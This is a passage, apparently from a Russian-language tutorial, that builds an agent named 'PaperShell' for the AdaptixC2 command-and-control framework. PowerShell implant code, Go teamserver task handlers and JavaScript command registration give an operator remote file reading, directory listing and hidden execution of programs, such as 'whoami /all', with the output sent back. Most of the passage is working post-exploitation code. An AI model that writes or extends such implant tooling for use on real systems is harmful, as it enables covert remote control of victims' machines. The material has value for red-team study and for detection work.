IsDirectory = $item.PSIsContainer
Length = if ($item.PSIsContainer) { $null } else { $item.Length }
LastWriteTime = $item.LastWriteTime
}
}
$responseData = @{
command = $data.command
path = $path
files = $fileList
taskId = $taskId
}
$TaskResults.Add($responseData)
}func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
var (
taskData adaptix.TaskData
messageData adaptix.ConsoleMessageData
err error
)
command, ok := args["command"].(string)
if !ok {
return taskData, messageData, errors.New("'command' must be set")
}
// subcommand, _ := args["subcommand"].(string)
taskData = adaptix.TaskData{
Type: TYPE_TASK,
Sync: true,
}
messageData = adaptix.ConsoleMessageData{
Status: MESSAGE_INFO,
Text: "",
}
messageData.Message, _ = args["message"].(string)
commandData := make(map[string]string)
commandData["command"] = command
switch command {
case "cat":
path, ok := args["path"].(string)
if !ok {
err = errors.New("paramter 'path' must be set")
goto RET
}
commandData["path"] = path
case "cd":
path, ok := args["path"].(string)
if !ok {
err = errors.New("parameter 'path' must be set")
goto RET
}
commandData["path"] = path
case "ls":
// path is optional for ls, use current directory if not provided
if path, ok := args["path"].(string); ok {
commandData["path"] = path
}
default:
err = errors.New(fmt.Sprintf("Command '%v' not found", command))
goto RET
}
taskData.Data, err = json.Marshal(commandData)
if err != nil {
goto RET
}
RET:
return taskData, messageData, err
}type ResultData struct {
Path string `json:"path"`
Command string `json:"command"`
Content []byte `json:"content,omitempty"`
TaskId string `json:"taskId"`
NewPath string `json:"new_path,omitempty"`
Files []FileInfo `json:"files,omitempty"`
}
type FileInfo struct {
Name string `json:"Name"`
FullName string `json:"FullName"`
IsDirectory bool `json:"IsDirectory"`
Length *int64 `json:"Length,omitempty"`
LastWriteTime string `json:"LastWriteTime"`
}
func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
var outTasks []adaptix.TaskData
var resultData []ResultData
err := json.Unmarshal(packedData, &resultData)
if err != nil {
return outTasks
}
for _, taskResult := range resultData {
command := taskResult.Command
switch command {
case "cat":
path := taskResult.Path
fileContent := taskResult.Content
task := taskData
task.TaskId = taskResult.TaskId
task.Message = fmt.Sprintf("'%v' file content:", path)
task.ClearText = string(fileContent)
outTasks = append(outTasks, task)
case "cd":
path := taskResult.Path
newPath := taskResult.NewPath
task := taskData
task.TaskId = taskResult.TaskId
task.Message = fmt.Sprintf("Changed directory to: %s", newPath)
task.ClearText = fmt.Sprintf("Previous path: %s\nCurrent path: %s", path, newPath)
outTasks = append(outTasks, task)
case "ls":
path := taskResult.Path
files := taskResult.Files
task := taskData
task.TaskId = taskResult.TaskId
task.Message = fmt.Sprintf("Directory listing for: %s", path)
var output strings.Builder
output.WriteString(fmt.Sprintf("Contents of: %s\n\n", path))
for _, file := range files {
if file.IsDirectory {
output.WriteString(fmt.Sprintf("[DIR] %s\n", file.Name))
} else {
size := "0"
if file.Length != nil {
size = fmt.Sprintf("%d", *file.Length)
}
output.WriteString(fmt.Sprintf("[FILE] %s (%s bytes)\n", file.Name, size))
}
}
task.ClearText = output.String()
outTasks = append(outTasks, task)
default:
continue
}
}
return outTasks
}function RegisterCommands(listenerType)
{
/// Commands Here
let cmd_cat = ax.create_command("cat", "Read the specified file", "cat C:\\file.exe", "Task: read file");
cmd_cat.addArgString("path", true);
let cmd_cd = ax.create_command("cd", "Change directory", "cd C:\\Windows\\System32", "Task: change directory");
cmd_cd.addArgString("path", true);
let cmd_ls = ax.create_command("ls", "Get list of files and directories in path", "ls C:\\e", "Task: list directory");
cmd_ls.addArgString("path", false);
if(listenerType == "PaperShellHTTP") {
let commands_external = ax.create_commands_group("papershell", [cmd_cat, cmd_cd, cmd_ls] );
return { commands_windows: commands_external }
}
return ax.create_commands_group("none",[]);
}Функции для запуска процессов.
} elseif ($data.command -eq "run") {
$executable = $data.executable
$args = if ($data.args) { $data.args } else { "" }
$processInfo = New-Object System.Diagnostics.ProcessStartInfo
$processInfo.FileName = $executable
$processInfo.Arguments = $args -join " "
$processInfo.RedirectStandardOutput = $true
$processInfo.RedirectStandardError = $true
$processInfo.UseShellExecute = $false
$processInfo.CreateNoWindow = $true
$process = New-Object System.Diagnostics.Process
$process.StartInfo = $processInfo
$process.Start() | Out-Null
$stdout = $process.StandardOutput.ReadToEnd()
$stderr = $process.StandardError.ReadToEnd()
$process.WaitForExit()
$responseData = @{
command = $data.command
executable = $executable
args = $args
stdout = $stdout
stderr = $stderr
exitCode = $process.ExitCode
taskId = $taskId
}
$TaskResults.Add($responseData)
}// CreateTask
...
case "run":
executable, ok := args["executable"].(string)
if !ok {
err = errors.New("parameter 'executable' must be set")
goto RET
}
commandData["executable"] = executable
if cmdArgs, ok := args["args"].(string); ok {
// Fields - это деление по пробелам
commandData["args"] = strings.Fields(cmdArgs)
}
...// ProcessTaskResult
...
case "run":
executable := taskResult.Executable
args := taskResult.Args
stdout := taskResult.Stdout
stderr := taskResult.Stderr
exitCode := taskResult.ExitCode
task := taskData
task.TaskId = taskResult.TaskId
task.Message = fmt.Sprintf("Command executed: %s", executable)
var output strings.Builder
output.WriteString(fmt.Sprintf("Executable: %s\n", executable))
if len(args) > 0 {
output.WriteString(fmt.Sprintf("Arguments: %v\n", args))
}
output.WriteString(fmt.Sprintf("Exit Code: %d\n\n", exitCode))
if stdout != "" {
output.WriteString(fmt.Sprintf("STDOUT:\n%s\n", stdout))
}
if stderr != "" {
output.WriteString(fmt.Sprintf("STDERR:\n%s\n", stderr))
}
task.ClearText = output.String()
outTasks = append(outTasks, task)
...function RegisterCommands(listenerType)
{
/// Commands Here
let cmd_cat = ax.create_command("cat", "Read the specified file", "cat C:\\file.exe", "Task: read file");
cmd_cat.addArgString("path", true);
let cmd_cd = ax.create_command("cd", "Change directory", "cd C:\\Windows\\System32", "Task: change directory");
cmd_cd.addArgString("path", true);
let cmd_ls = ax.create_command("ls", "Get list of files and directories in path", "ls C:\\e", "Task: list directory");
cmd_ls.addArgString("path", false);
let cmd_run = ax.create_command("run", "Run executable and receive output", "run whoami /all", "Task: run executable");
cmd_run.addArgString("executable", true);
cmd_run.addArgString("args", false);
if(listenerType == "PaperShellHTTP") {
let commands_external = ax.create_commands_group("papershell", [cmd_cat, cmd_cd, cmd_ls, cmd_run] );
return { commands_windows: commands_external }
}
return ax.create_commands_group("none",[]);
}С этого момента добавлять функции стало просто и удобно. Надеюсь, эта заметка была для вас полезна :)